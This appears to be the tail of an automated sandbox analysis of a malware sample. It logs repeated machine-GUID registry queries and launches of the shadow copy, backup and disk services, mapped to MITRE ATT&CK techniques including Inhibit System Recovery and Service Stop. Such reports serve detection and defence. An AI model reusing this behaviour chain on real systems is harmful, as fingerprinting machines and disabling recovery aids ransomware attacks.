  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4596
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3788
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4224
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:4492
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3704
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3692
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1436
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:808
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1556
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3648
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:332
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2624
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3924
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:4308
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3296
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4524
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5820
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:3500
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:6028
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4864
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1676
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3936
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5584
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:5952
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5388
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5064
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5540
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:3132
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1956
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1096
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:4764
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4704
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1436
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1684

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k swprv
1⤵
PID:1340

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:4576

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3084

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:5776

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -Embedding
1⤵
PID:896

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...